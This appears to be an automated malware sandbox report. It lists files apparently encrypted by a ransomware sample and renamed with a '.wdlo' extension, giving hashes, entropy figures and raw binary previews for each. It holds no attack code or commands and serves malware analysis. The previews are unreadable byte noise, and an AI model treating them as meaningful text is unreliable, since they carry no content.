MD5:	2328B89E3BF142A8A8E6A9BD765341B6
SHA1:	75B9EFC39FE162EA6B99FDE3233DE0B1F16E831C
SHA-256:	1B31BF16D29DEFB0810B3CB140FBC1CF43EB3838D806B3E043BFD297D93DE5C3
SHA-512:	327B64C59E26E33AF78293E2FB25BEC72D6881AC672B653A6D5ED5229BC54D16E20B8C8178D6EC003871D37BE8F0725BFBAA05BA80E2BEAEF67AF87E447AE801
Malicious:	false
Preview:	%!Ado`...V;...[g..{.......E>..3..!Krd.[.clD.....B...-.r..I<xB......R.pH.6e.oF7....@....8.fI.+.._YQ......Rw;.!e..0.&......4..m(.cF....\|....o...n..~..6L...~4.H.......%.wF..O9<.7#u.~...X.=....."#!..{<....?..&..e/U.`.{$..).G...jg.....\.2:.m0.A.P..........puY;........"%_.o.../R...b={N.\|..../......@ZZ.4.a>...~...+.g;...)...h[J....<.....u..S...I$P.N6.O.^.6.O.......{..8.J.Kh.x....)7..I.ahT.pTR.\|..Tg.......t...V....\|..-hp.k...U.......z...(X.V...j.>.....f.c...........\F//.._.\|..... .I.%.Y..Y.j#.....d.e....f.D..6..mEC.6d:r.N.N...l!.....?bMI.P..+.q...!}...F...2)..4i...+..Y.i3..4..{.J. n....Kf.p`..R..........N.s..s..~...E.@.a...7..-.8.M..(RM...B....jMu.j>.... ....$..`k...D6&.+=..)..s...2..!!..........O.3'$...v2i~........@....V..5g4N.e.M.QvzR^.sF..*...u.3.b.!P..@U..9....s%>.=.....RU...!q..kH.....P../.f..:..LG..tj...qP6I...wc.{...;.r{}=......U..O@...k...l.].i..X.E..D..._.b....Z..).l.i.....m......>.1G.Hg!...a.V.....}U...E.Y....o..ay[7~.6.I..L..~m

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.98476365572582
Encrypted:	false
SSDEEP:	6144:R6lnq98rVmt/W3pf2QzlTB8Uyoscwz78nq:IlM8rVU+Zf2qlTuNt3l
MD5:	B7C004714C4BE10E220859520A29306B
SHA1:	C0277C2863CC9152E678378F08C3C0EB5A573547
SHA-256:	AF1AF6CA121C5674F4AD1A4651EEE7351F156790BD667C353EDF461884F9B85A
SHA-512:	6B10623A3478463BF6B3A685279C3F4BE7DE48823C137C4224DAD8277069913F8C3D3F42E5F55B71652313C88F4B5C4E41AB3BA73E798E2A7EF1267AE0F65282
Malicious:	false
Preview:	AdobeR...4@b.=JEv..R..}..^'..6Z.8L......Y..Y+w..g.0~].F.:.J..W.i.3:sY....0.P..l..d..3.E....9n/...t.eWa.j.;....$6..#F....jN..0..$a0..^....l.2.....M....=...."....W.....RA.....(....@..].&.I<.[....~..m6...9rF..I...ayO......T.?Fh...m{4.X~..N.f.'..e.(.I...Gh....o.....w...? .R.w.!.$D.%/.M.'..t@...K..c6hw+.]>.H.6.S.....n6a9.f.:.%.FxG...Z....Vz...s..:~rL&.2...1q......Y.$V]@.Qc..W....e_LZ...t'm.....c19i...W......X..3..#7...1{1.;..J5...."......K...Z..I..E..r..+.l.1.(..4_@ypf.\......{r.h.....-B.G.....v......FL4V(lpJ...~..7..d...hF..n.f....R...'.m.6.zse..\.p.....)=.<....c....2.2..%.m..?...&3."ff#.BUVT..j..X.g..I.$..B.y$/<.Z[.L......;.....4...@......}..O.6qp....K..(L........e...,...h...(`..#.....xjn.d...3.f.7.Aq..l.K..w..q\|.$.....#..XG.O....b.^...0@..H.....^...\5...0.Z_A......5.G......Kr..g..1.K.p.D{H..^.....C.)L....(4`@..........B.s......h...\TZ.....G._.C".3......9..&..".UL./..5.....+[..O..5.Un...4.......]...1.#....7..}.t./...(%a..XQ..r&a..X..Xp..&

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997190597840383
Encrypted:	true
SSDEEP:	1536:7yL7TZHO0Vu4OMm45tAUMIcfksXwmE2AbkqjuQlHMnCEQcDcq7:o7TPVv7ma6UMfsuwmKxjuQqCpQH
MD5:	7C57F783CDB6ADC16FF85D1851BD6A67
SHA1:	5C5DCAABB12FB35CAFC27672837C08B1614411B6
SHA-256:	24391E00903D86290C469887E9890C9F57C7050B0130B62871F13882538A698F
SHA-512:	D03F56769BAA605BDAA42F6C61BD7717BD0AF6C73F51642A812985B3A79B936391E130EB46BC806B44CAB120D2A23677C75F83126BA4C46F5AF2FEED241A2CA0
Malicious:	true
Preview:	4.397..S....>..HS....(..dr.~J..S@.(.._.V.=.H.2v.{...4MT.9J........v0............=....zo....E..@S1...nD...{:..1.7...........@...;..[+..ne:e.]L.VK?.5..T. &N."^..)58.z..S.....{...l...g.h..-. ..(=-<.>.Z.z.....(1.....D.._t+x.M..._......6.`.......Z...f..B..8.r9.`.tg9VY.$t.\D...Gc... r.4'..a.>...........;......8.K...6.'Z...d.i3o....uw....2f@....F.....h .qy..L.^.~.......&.<.}...-.}g...e......]....F..&..j..f...<H..L.Nd.w6l.....Ng.0r...H..$z....negX...zI..\|..... .7+......'...S5-.E.U$b....Me.j..].9..R.s,RX.O%].kC8.o<.!N....7\.C..HX.e.o.S...=(,..C.E.{..>..N..J..'...K(...6.;.Z....S;..#o..;..~...'Tb.../;). M.).z.?..4q..O.R.Z.<..U6./....s.Y.....oW@.].5..l...xHuk.=.c......h.w....r]u.*.....x..a..G!XOD.\|L.y.nY~.b....L.]R...\|Qon".z.....xl..@.f...?I .......f..M..Ifc...3Lmw..bEu.$...j.........3.....y..Ka....w..2....Cu..R........o!.k..p.e..s........N....t..".-..........<...G...FX7ap.F.w..T.D.\.C".B..l2..%....1.(\..8z/...7c..\...zD.mx....6-7..,h.....#.3..

C:\Users\user\Local Settings\Adobe\Color\ACECache11.lst.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.796185706106894
Encrypted:	false
SSDEEP:	24:z38SoeDyWgU8GNZFMyniJvayVw6K/nMt9sJRZlf43zbD:z3oEQUhfFlni8yOhfMt2RF43nD
MD5:	A82D5596A6593FD25177B99C686A5C26
SHA1:	BFE6DDCF6DC0F2BB59F8D5D62F5C331B528F36C0
SHA-256:	847A45726AD6FED64F648C7D272E9E6ADABB840193A48553D34B9C39ED5C7551
SHA-512:	9BD003B309F54CD1B4C38B598EEC282F9F532BE9951E1246023F37492E7AB6C97F565B12786CB285D8E4DDB4347F9AB5414CEA20E5489F6C875F327391612312
Malicious:	false
Preview:	CPSA...6..L..M..$..!Zs.Y...........AE.K/.Z....0#.h.V#...[.\`x\..vE.?1.....rk....9...9kL.\F...+p..3h..".KE.d..HB..}....jd.^g..C.$.y..^;....c.R7.5]....=.{.%.W.o....c\|...~..H.n@dm#B.........l=..>.....m........q..g..x.......Z_.IK.e..,..)..d.!/".....$1C..../..7.T....w.+.....t....Y.d......9..LZ..B.T.4-.2..^.. ...,.Zaw.a.[....v.......9 ..a/.2.RZ...".o.X./.?.a...>..1.NS/&..Z-[.T..q'F....jk@....i@cF.......2.v.Z....v4...xmW.....=....D..U....D...T....Y.S.....=..... ..k....u...x..(&.$X.v..ir..k.fI....[G......l.?x...o8.+..q......m.Q.....S.c.iY.......U...q...>...e..o...RiY..w..j.. ~..&@..\.T.9//u.......r.....~./.=..E1I.aOD.R.._.T.\|....^...G.#.6...b...%....h..>...Q..;.R....z...e(.}.M...<..@7.....w..d.yF.X.O...n1}X3y(&..{..8.I.pK...x}..R...bz...n..Zt.kO.]...AU27..}..j.+.'.]....D.,...8S^aP....l$.;.z.W..DvE...O....J.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jcp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977625970950432
Encrypted:	false
SSDEEP:	192:FFO4N94QGg9TMyWVBVQWq3xESnAC/83M6BXIinWJLl2qZx:rv9nGT1VQ1fAt3MiXmbZZx
MD5:	DB1F09F75115A0D1C24A1C77AA7C114E
SHA1:	3DF9F9E2654E68680F3A4B22890A7C4757A945B6
SHA-256:	CDCF72C913D27BEA217D5804BB7F019226C3CBF7C45941926059B7A279BB06FE
SHA-512:	8377F1EB8FA3C2BDF75EC83F52640DCA8F7AFD2294E3AF29432509478FFE2BB51D8FF4167430F4F0C2D1C724ABC24F834E0CFCE9723EDFA4B71E9E4FA1BAA240
Malicious:	false
Preview:	.?.L.O...n'K...[../........o.\|7'Q.H.....W{~}C.l..&..o.w+....!J..`.k..+.%..[H...!!...{=.M..QZ.b.lGs.B..t..5u....3...u..#}..x..C...Te..v.........<...zbi.'.."..OV>.#..+N...y..&l..5.T.-...w@.Ty!G=.....A o..._...~..}xgQ\B...............uz..A....(@CH....\..#..M.T..B..0.Q.........t....,.SQ....{,c...^.G...q@.".>.>o.....x...6.9..\...K.0...C.Z..r.+#.-'f.?..,m..{.On....D^^....L...0.8.~.I..jC...)..9.d.:.@..;,...%>O..a.cP;ccK...V......G3.z.6.....}..V1.V.HM.z>...5#t7.t.[.....<6........V.:E..!p<.....8....u.1f..K...8..X.'.\.\...D\|I+_;..#s..BS....Xi.n......2H..AW.M.h......\.......Q.T.0.<b.K....dw.....G..<."..;9..m.!..k_.r[.n..t..%.......M.....m.uD...52......[I....... ...Ko..a8ZV.....R.Q.#.({`..R2yr...d.I>f...i.>@..@S....5sc..7o%..k...4.r..N..!._#`.]....y.6..J..............b.q...+.....~2..u..s/aY0..!!$.5...h/....>=_.`\|..b."\..).,N.<..F....8....Q.."I}.......r.b.]..{..?....p..N..........K#.O.5....$.-..Z.B....8..g..Xc?......W..W.`O......~b.9L`l...I.1}~...

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jtx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7339210433532966
Encrypted:	false
SSDEEP:	6144:1u0GT33oO+a6ZwHWnd1kx8eu30MfJlMXLfI3WgiPqqnERpOMlVTtpFdhk5Jjqh+3:1uDb5Ejnd1k8L30MhlMXLD/6li2k
MD5:	7C6A275292A20E48FE567685A99319E5
SHA1:	28C286F41C7A9DB9C7DCFEFB8010877852445DB0
SHA-256:	9F6C102D2F2F24CD59C68AA457AED6A0568D989D0F91C9ACD8ABBF019EB2F55C
SHA-512:	2AB2AE933B1CCE8A4603FB877466D6ACF1CE7A3832B01E0F1FC27D4687A8CAF4270DCF7AC64B21280E37D3148E7185306BC9F7502A0DD356A2B0B97B2B52D3B1
Malicious:	false
Preview:	:.>W..3X.YsY..~.?zG.@SDnK.....}M..N.}~...~A......hP.e...f9.....~b.~.;.`......l.\].9}B.g....bX.Di.^.......V.1x.qf......-..J.....sj...Py.%jM.X.k.^8.?.P..C.q........Ir".7.....u...Nb.......\|2..U)P.....N.....+.RzC.~.XK..)...V...B....Fb..UC.^..n-3Wy......J&}.y.(..D.X..v>...=dn.T}VJ`r.,..G.1Q..ZT@9.....V.G..._....D.n...f..\|..\4V.0......s.\X...X..?......."9..3F........e.-..eV.L...-...#!d..f,$............^.l.kMM6.2s......M..v..7.z8ur...,.$uh>Y...f..{..i....0.x\|..B.h_Aqa.......X..O~\..,MH.!.K.....R...q...>`....?:.&....}..wP@;..De......9.z...Sz...z. .eM...ue.2<.R.y..-......_U ..H.../2+i..vI.M..QOzW.9l.$....^.p..F/~..Byh=....'.....3...I.6w..D.....q..<d.G...\....P.0.U.6.B..6......z..o.A.8....``.....3.\|1`M..\|....e@.t......._8..D..1w....J.}v.zG...D`.v......f(...;C.U..FJj2.w!.T$...Z....3....^...C...f.-..0.E..P..O....Lo1/...N3.!b....3@.......r.0.K...Bd..m..3...h. a~G......@.e..`Y.}...iV.....v..i..........w..".;"..G....*...p.N.

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00001.jrs.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.670521249323977
Encrypted:	false
SSDEEP:	3072:owZTyFMd/vE0qk/AokSJJGsbl62Ru1ckrccZqHrWrr:owZTyFMd/vE0D/AHEl6KcrcmqrS
MD5:	FF282D5190782ED86E3F5F466FAB83C9
SHA1:	C62C872FE22D6905766AC28754554CD8AD8BF5C7
SHA-256:	3A218076A3552E28DEB1DA1EB575F73C511087C08AD09FE102C5536E237356BA
SHA-512:	CDA9450FBAF7CD30322BF6235418D9FEF5BC3D79AB0400D3CDC9083EA8FA3525AE460F589DC9B0EA299E99DD22D4DBB50BFA5DF8E644406450C14FE31213C345
Malicious:	false
Preview:	.............].^.5.l.pB...C..XD......B...N...U.....q;Zh..].....N...z.8.... .c..)...>..R.W.D..4.U....hEGtL..5.Z...:6.7...Z1.Z......T./.....D.y....~rR.['.7.... ...g....T.'B.17,....k...^;\|f.C#0c ......F........a..g.X..u.G~A....%.p..a.,..=..z......+5..Y.]'..#69....s.C....V. ...y<......%...._...).....Jg).M..@...ax...}....H6.?._i......5..H...UK~W.0I.BV[.G.{k.Jw'.....{8.V9N.x......#..>1..cE]R..z.g\|k..\...z.....W=C....8..w....[...^H..H..<e..}9`...fJ#X.... <N{i.=.t<hQ"+......Z...........9Z...`..j=:.G......"..#v..Bri...#.@....&..0.u......\|&....l...m.q.....h............H<...O.90....Cc!..Z.u..%.Z...3..G.+&.h.y.`.<......Y..z.,......<]......W?{.M.=(R...!...!.w.'.....u..h..\|..0PiA%.......Tg\2.N^H.H.....9I.3..]6S....V...De..(D...O.bD.(H.;..j.R......\..i....l..v...Tm....I.........iVh....0_...9s.g.5.O...V&.Fh.h,.4....7c .(.(..[.1..!.......T?BE~!$U......5/...~xj...}.5.E...Y.v...=C..1e......._...'./;..#s /.?0i.9...*\|].oe....>.......Cb7...Tzr8

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00002.jrs.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706786445438885
Encrypted:	false
SSDEEP:	3072:yJl0s5IJVM3BUeZu65dQqkJyUEaNVWb8yT+oPuGuWV/xk2ZXd/S9r+2:yxlR5u8QqkJ2aNV7yOcxxjCz
MD5:	58F25B24A22CBEEE53DC1E7A42F99F82
SHA1:	C3D43119BE7FBCB783FC0DCA0918271943239B41
SHA-256:	EBD21E330E6000E69DC30257A999BDA10D76B74E2A8243BD0CC45C720D257213
SHA-512:	E6606DAB23FFF641E349FBC37E7098DC205A653596B7C809EDB61BBAC8E9E12CE38C630DD55100C9A785442BF5DF91B132AAF0F1C06DD434D6384D26237E2201
Malicious:	false
Preview:	.....\.x.^.@...K.......O."s.;l..l.f..n.^...S.&.....p.M....?-..Q...es......2~../y'.Q....P..{...m...F.....E1.f...^..MP$z.c...M1.............~e...,.OTj._U/...x...J....A..../.....!..&G.....e?UQR../. .......J..b.pv.gp[Y..Y.(d&.Z.O.n......rw......Zlf9..7..G....?..:.Xf...x...~L...H....Q.N.....#..O.a.mXN&.MCF.]&{...I..m.:...k...........P.\|H....2N.Z..2.,G..k....4.... ....5.F...\|....g.6......&."......h....bn.9CD+~.+.=X..\.........i..L..z.K.o.{..'....h>J..+.r...>.y^Z....O....@7..3/....&......KU..a..u...7....q.\|m....6\|....{h....s>....u.[...%1.....UG.....`..b.........]...l..`me.iD......f.....I$...8_.t.z.K...l[...Y:...9......b...m.~&..m.....m.n..+.?.p.&.A....X...LYE...y..0'Q/.~3...?........s.a".!.RBn.J....SV.5.6......$7.K..r......B...U...2m5_%g...73...l.".!.aI.`C...0A..3.....q.!7c...@.H0#....xu.R<mp.....&.&).2^."e.&W.oG.N...F.;...'(....s.IV`h....gXp=.+...22G.w..x......7.......8.a..e].6.3^q.!?...<..[...J!..yR@w...&....`m...<7W..T.&......_.m7.!.v.BA...t.

C:\Users\user\Local Settings\Comms\UnistoreDB\USStmp.jtx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705679230131971
Encrypted:	false
SSDEEP:	3072:+tNu6Rv5ic1jZCj3QZ/H4LFzljYMX4gEkoqPWE9w3+1dIj9aQqNfhRtV:AHRuTi/H6FzlX4vSbT+9mp
MD5:	9483E282EC79DD73D459D55B0C59E125
SHA1:	D16CDB7014027FE207C52A2ED7C0BABA0289D8C4
SHA-256:	721D739CF5050D89EE6E8F540ACE17FF378E61C5E023876ADC8772A399073725
SHA-512:	7858191170294220783FEEB9C41B7E2C1AB136311DBCB96EC32F3B98D67A4BEACE39839B4C945CBFDDB9384C7D52AA9E84073455D9272A99CD53E3ECC978DB0C
Malicious:	false
Preview:	........}W.w.H.?.....p....)...&........ .J:.S>.?x$7.1.?.VO.."..{....j...<..NI.yz......z....].q.a.&g~....W....XbB.sl...D.:d_.`.x...7.k..Z.^.3.....3..........jyj...p...4..........ET<%.....U.~...<0.L2.[....G.%uD.!......IK....,....q..'6&.%R.m..Y.K...@;..E.TB.N....$...%.T6..t.X.h.m...u...nn....Q.<q...U...^....G...Z.).H..P^vk..u..HOY(.pU...k.K..\|.....!...qy..8..d!.5I<).....?j..]Z&o.A^........ ...+H._....r..j.QR$e........KV....._.....6....^J.......Yu...su.7...Ml..:...#..?.T........tw.3....Y".R:u.h...#7U............lA."....r....g.i.h..&.D.V.1!...2S..:...(}.OLu..y:c.c...zto:W.Ml."G.BPQ....".>.~.j^..tG.9.B${~.....Q_@..`~....ltS..&.Cnd..F.......O.g....^...W......m@J.s...;\...>....\|....,.@z...c.u...1.s7M..n%.p...?.9&..Q.s.9.. .....G_.#...x.......0.z....&_4`.....YL .E......H.w..5W.G...==;...[`.....Sw.6....8.7=...N./ .i...0c;...'..$fR..O.I.d).;.t.T..X+.....[<..V.)T.Z..o.......i....n....<\R..l..M.s......2...[..].....T........Tg.......M.T

C:\Users\user\Local Settings\Comms\UnistoreDB\store.jfm.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989157037401789
Encrypted:	false
SSDEEP:	384:zE21JnBYEYCTgjTarlCTSvg/DTQRHGWzNKmzOeIHASpTsQ44SiG4s/:4KivoCTWwwGWp3zMHXuyG4U
MD5:	0339F8AF128E331617D10716B0B514E6
SHA1:	57D33BE7457C701C771602CD8F19A2926AB75B64
SHA-256:	6D7B6AC1B1FCBA154F808AB3B6927FB2A4C6DB425DBA3DE65290DF5E4955898F
SHA-512:	B7D541BC5901DC1FFA5A0CB753DC3C68C7010659647C089AAD307517620ED852596EF5568EF1415FC0947A72681D3A7444143147BF6441C31D51B8E58CAA440E
Malicious:	false
Preview:	~...... ......Q.%f...J.......r..?k..R...D9.fR.....x..b]R...P....g.@._..=..cb...o....[v...+.G.:....i.R.:..-v.~......G..../.a..o..D..!..s_.L 6~K.......^..I...j$......A.."..F.h.\|C..'W..AO..D.4........b........R..N........../...C1.ku/$.N.......&`=..J..\ov...X..c..y.VC._.Z..,d..:..........3...1.@.Cz..OC...G....[..e.]Db.......@..8..~N{...l.9w..U....?.87..9.... O..i..\z.....Dgj&....H.?.k.T.j......".H.i.}!..6....e.,..A....W.V. =G..t.f.v^kP\)8...C6X.q.Z.4.7.]......(... .w..G8..h3C....i.!s\|ia........._..E. ,. .P.].R....s,..UV..n.:.....!.(..&.oi.Y...D.0w.w;O..v)x'l.....N/........i.>?..G.'~<.3.Z..2.s.....d..Ft.5..J50....{.gh..y0A..T....n[....ao...3..\|..}...El.w...z.....o9..#L.J.>..7}.<......\>......U...Y.\2........qi..W.&........~E....$X...$..E.zn...#.7....mX.C.5...o.......m..gA0....H".\|./)5...I!......)..2.........Kq.....^..=T..\$`.......V.zH..yz..rN(.,@SI.Z.......{.&..h....>.U/..d....7c[.4..yF1....\|n...t.m.3G......%.. v....RM.(qJ...

C:\Users\user\Local Settings\Comms\UnistoreDB\store.vol.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.7570752919601245
Encrypted:	false
SSDEEP:	6144:xu1xitGebOhNTtwqR4BOkxWQAz30mC5n0sa+d+gOrOuWxWk3m+uiFaCfYjUfCUXI:xmxitGLLRwqR4UkkTz30msZRdb0L
MD5:	69D4FA3783C1A10D0537305E4E53A2A4
SHA1:	4C8CBDF510AE1530713CCB10933C226490457449
SHA-256:	965A1CA5790DC30A684422C406614B01D1A1B2C1CC1013C8B745EFA9F75F1D4A
SHA-512:	087585667FB4B34CF284C4D48CBEF0A046C54CAD906DC6AAD82BD66FC92711E02AC1C2D0EA5455D8D34620F467DC87C9B7F5AFA4C4DC412A1BD6EC31174A1C70
Malicious:	false
Preview:	cWhE.........1.bY.Z....Ap9Y....{.\|..D\....X.....L....w...;...q.#....\|.z:. .....'5ZRv;3n..I.g..KI..R..r........;...\|PIP.!$Y^...\N..u<.Y..E......9....L.k.{..kZ.se..\K.SK^D.V.fJK....zZ.%.Z..Z:y.....H.#.l=..H....w.....f..y..h.O.A...........\....0A.7Y4M....X..W.l#kS..`....m.7.-as..7..'U+...../..Z~DR.=................Q=8.\|.J.}7j8.\..R...T..3E.........:!b..$Zp.............5.....!.(_.a^...l....I.\z.e.K.GI~\...q.9...@...1N..^..}.%c..Q........Y.Y.[..;.}...#.....t..;...f.B....Qm..j.,}c....2...B^.F0..Z.o~...L......).W'.W.....'......l.Q.[.Z...%.o.Wp2-.Z.G.+xq&.ZC.'.rV....5..]E...:..mgp.....O.:.l^..-.1..y...1X.>.B.!s..v.1!..p.....m.G..N..=.K-]..$.Xe1..!.E]......_K.B...w........_g\|.<\L.<...\W....O[+..j...(.....{./.\..l.(...Sw...h.(.\..lU=.j,.:.s.p...+o...=.WC...h...E.{Yn...u.....p1.-V..a....O........89..~59.2-..}1C_$.N=a.....Qg#.[.~....9A.=..n..j.....P.&..%v..B..Tn....Ad.s.!...N...zWu.L.....9...aY........H.*.Yk.tT.Y<.U.y.<8...%7QrM.YG..@....

C:\Users\user\Local Settings\ConnectedDevicesPlatform\CDPGlobalSettings.cdp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	5197
Entropy (8bit):	7.966788700477366
Encrypted:	false
SSDEEP:	96:xTmRtvdb0lNhWS4EElTjOc1+Vzf/ZbNnrz32YN0xTmpzi2xBuPqTP6cMzp:5gSjhGVlTjuZxnrz32nxTW6PDNzp
MD5:	69B59258DDF7D93B2E6E05AD5A0298A7
SHA1:	78F4F36D4D3C65F40EAF6D95A7F00B166556CF3A
SHA-256:	38368083A920768B522765BCD109320C12C6CD341BD6441F4D759A88671CD84D
SHA-512:	1B2DFE3049836C58DE73F5CC983DFA5018483B9048CD0EF2F6D062A72EF17880C2C2309951D105BDB83B86C720B8F059E432B668D2781B0FD7781057C68529B3
Malicious:	false
Preview:	.{.......j.X3...!.....c(.R@;..._........p.._K.=.-.\.j..2."._....\|c...q........{....../.>.t......D....9.u0...?z......D9...eb.....\|...e.N.Bs03...iT.N.p.OVk..oj:...t.L.=X.O..4.iUg".d....\|^.s.$...ih]....P.om.Q-.;.Y;.gdq..57..g..pAV...K.. .!....t.`XI[..xn..8.Ve..N.3......Z.q07.....s.1j..$#....... .u.!...T...#l.Ga.f..4.;c.p..r..+..vL=.>y11>.....h.`.8[R.\|5v.....k..tR...Y...~Z...S~.;K`....3.W.%.j.2.. c.C.."&..p.T5DfKV.Vk.XL........M.H.`.T...r.t...N...t..X.C..Fn....Q;.8..X&.;f.z......&..!...0J......z....5.29.='~!).Z..9L...O.0.s..\....E2<....7K..nXDC........T....&.....Yp...+..u>..%...^}m...._O.ND.kG..p...7..<.../.OV....&9.......Q..]....c...I.!..s....y......U..I....\|..J...:..)n...5E.}.......$.. c\|.\X]CKU../.Z..cX....E.....u..Q..VG..I..Ih...+CK:.... @.x.v.TF+....#=..bT.V(bL...,.e..$.....DKgIh...g.,.{..dD.d..\|F%....P.J[.Y)....~D._>x.c../.n@..n!\..n........i..Ux....S..PT...8...)..j..lz....0r'.6.pB.k6).&+..a../...X.@.w.WLpg..gO.f$......o.%.>

C:\Users\user\Local Settings\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	989
Entropy (8bit):	7.779240888111881
Encrypted:	false
SSDEEP:	24:AJiYZwiPZZS0aIVntqHd5HHH98s753lbeWI7P8a3zbD:+iEhtaIptU3djV6T7P8a3nD
MD5:	1847FC316A3D05C84B0AB67EA72A78AE
SHA1:	743CECAAA31ECDCD220963CB90C9C3D053FC5965
SHA-256:	D6F1A52987822DAF166F67CBA159597CE7ACA4A57912DB88A393ADDF37FE8B11
SHA-512:	B657A6C75B3FCC86C3A36187387ECB5EF32CB21A9BA74E44AEBD6D027293F2F8ECA2ADD6A0DC09E0A5CE4FA423FC57E676332D117FCCB72464A5CDBA57AE2EB2
Malicious:	false
Preview:	....C..dSK......\|R..!....8. .DR_...Y...o....i......AYN....~...>...s.Y.....:.p8....X.<{9I$v.kE.&....}..#."..7>N4.R.p\|.f[.&.......v4rU(.(..d.....4.Uj.S.st.^..-)L.PB........A....L.@..wy...Z!..XSI..S..nsB,....2.id.H.W .A...f....S..L@..-.....S..eN..b....v.v-.%.....9h..<..jye0y-..D'..N.~..DK..n]JB..J.S.L.D. .bq.hF...i.(5...Y.....=P.4.+........4.o.x.X..K.:/.]..\|9..V.9w.M._~HC.....>....lbC.zg.x.+:.7!..:...C.0j).u..+...i.P.....H`...........f..(.H{..t(^@.Q?7...fXQz.:..QS9.....o.....v.V..u.....b.I.....oW....q..-......+....h.9.......q...J...M..72......4&.....~.".828........hf.#v&.....z.R.v....S.#$.o.u.f..djW....r.U-.....Uk...U..Nr..Qa..fTp(q(V{{...y.....7~....}..G.{..K.#..2j..{../.......$....E8=pbk...,....../.m.\.!XG}..5uAr.!...Z...aC.i...X.yQ.:.....iD.:Q.>.)&./..;..CO..M.@.."$Jt.....d.O.8..}...,....<.r...g.G..".W-)...w ......,.L.....3.L.h.'..7.......@.]..Pi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1303
Entropy (8bit):	7.834687088485837
Encrypted:	false
SSDEEP:	24:C7KHD8v07vFEyEdSqCy/IXR24B9HqoHLdLFUXbVbdxK2E0JEeGPBxAcm3zbD:C7KHD2AvFZ2CIIxqohLF4JxK2E0GvPBw
MD5:	E1474C8C7F08A19922E10FDCFE2A4F78
SHA1:	51CECFA0CD4386DE828274D955C12861E05097FD
SHA-256:	A3BD123431716AC832F1FB809D78EB8AC9783F559E951612229F078FAF710259
SHA-512:	9FF4E86DA663621E69E0DF16F1FBE65C14F76729F7C855DC96237C4CA4483AE1703F2A8A02B5BCF1F19E0B4527E3D8960F415167AFA3AF6AF076FBDF7B2EA922
Malicious:	false
